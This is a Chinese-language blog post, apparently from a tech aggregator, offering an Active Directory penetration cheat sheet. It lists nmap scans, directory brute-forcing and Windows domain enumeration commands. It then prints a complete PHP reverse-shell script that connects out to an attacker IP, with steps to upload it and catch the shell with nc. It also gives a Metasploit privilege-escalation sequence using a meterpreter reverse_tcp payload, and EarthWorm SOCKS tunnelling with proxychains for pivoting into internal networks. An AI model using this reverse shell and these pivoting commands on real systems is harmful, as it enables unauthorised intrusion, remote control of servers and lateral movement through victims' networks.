IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 域渗透知识归纳 -> 正文阅读

[系统运维]域渗透知识归纳

信息搜集

nmap命令系列

nmap -F ip地址  	进行快速扫描,仅扫描列在nmap-services文件中的端口而避开所有其它的端口
nmap -O IP地址	使用Nmap扫描指定主机的操作系统版本信息
nmap –A –v IP地址		完整测试
namp --script=vuln ip地址		用来扫描目标主机是否有可检测漏洞
nmap -p3306 --script=mysql-empty-password.nse ip地址	 扫描mysql root空口令
nmap --script=smb-enum-users ip地址	 对对应ip地址的机器进行扫描,同时对smb(共享文件资源)的用户进行枚举
nmap -sP 网段		扫描该网段中存活的主机
nmap -sS -sV -T5 -A ip地址	扫描端口开放情况

whatweb

whatweb url		检测web指纹

web目录扫描

gobuster dir -u "url" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,bak, php
dirsearch.py -u url -e *

远程登录日志

c:\windows\system32\winevt\logs\*.remote* 
more /var/log/secure
who /var/log/wtmp

域内信息

ipconfig /all	查询本机IP段,所在域等
net user  本机用户列表
net localhroup administrators  本机管理员[通常含有域用户]
net user /domain  查询域用户
net group /domain  查询域里面的工作组
net group “domain admins” /domain  查询域管理员用户组
net localgroup administrators /domain  登录本机的域管理员
net localgroup administrators workgroup\user001 /add 域用户添加到本机
net group “domain controllers” /domain  查看域控制器(如果有多台)
net time /domain  判断主域,主域服务器都做时间服务器
net config workstation  当前登录域
net session  查看当前会话
net use \ip\ipc$ pawword /user:username 建立IPC会话[空连接-***]
net share  查看SMB指向的路径[即共享]
net view  查询同一域内机器列表
net view \ip  查询某IP共享
net view /domain  查询域列表
net view /domain:domainname  查看workgroup域中计算机列表
net start  查看当前运行的服务
net accounts  查看本地密码策略
net accounts /domain  查看域密码策略
nbtstat –A ip netbios查询
netstat –an/ano/anb  网络连接查询
route print  路由表

tasklist /V  查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V  查看远程计算机进程列表
qprocess *  类似tasklist
qprocess /SERVER:IP  远程查看计算机进程列表
nslookup –qt-MX Yahoo.com  查看邮件服务器
whoami /all  查询当前用户权限等
set  查看系统环境变量
systeminfo  查看系统信息
qwinsta  查看登录情况
qwinsta /SERVER:IP  查看远程登录情况
fsutil fsinfo drives  查看所有盘符
gpupdate /force  更新域策略

wmic bios  查看bios信息
wmic qfe  查看补丁信息
wmic qfe get hotfixid  查看补丁-Patch号
wmic startup  查看启动项
wmic service  查看服务
wmic os  查看OS信息

dsquery server  查询所有域控制器
dsquery computer  查询域内计算机
dsquery user  查询域用户

最近使用文件

%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\
history

获得shell

webshell

/usr/share/webshells/
常用的是php-reverse-shell.php,该脚本通过nc连接即可

脚本代码

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.190.177';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 
  1. 把ip和port改成自己的公网ip
  2. 公网VPS监听端口nc -v -n -l -p 1234(nc -lvvp 1234)
  3. 访问传入shell的url来触发

msf

例如ms16-075

search ms06_075
use exploit/windows/local/ms16_075_reflection_juicy
set payload windows/meterpreter/reverse_tcp
set session 2
set lhost ip地址
set lport  端口

横向移动

在kali上运行

./ew_linux_x64 -s rcsocks -l 1080 -e 1234

该命令的意思是在kali上添加一个转接隧道,把本地1080端口收到的代理请求转交给1234端口

在win7 (web服务器中)运行

execute ew_for_win64 -s rssocks -d 192.168.23.131 -e 1234

该命令的意思是在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.23.131(kali)的1234端口上。
需要将ew文件上传到目标机win7中

配置proxychains.conf(kali上需要安装 sudo apt-get install proxychains)

/etc/proxychains.conf
去掉dynamic_chain的注释,并且在最后的位置添加代理。
最后位置添加的内容为socks5 127.0.0.1 1080

可以通过访问127.0.0.1:1080端口使用在右侧web服务器上架设的SOCKS5代理服务

接下来就可以利用proxychains配合nmap和msf进行内网渗透了。

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-08-31 15:52:22  更:2021-08-31 15:54:12 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 11:57:45-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码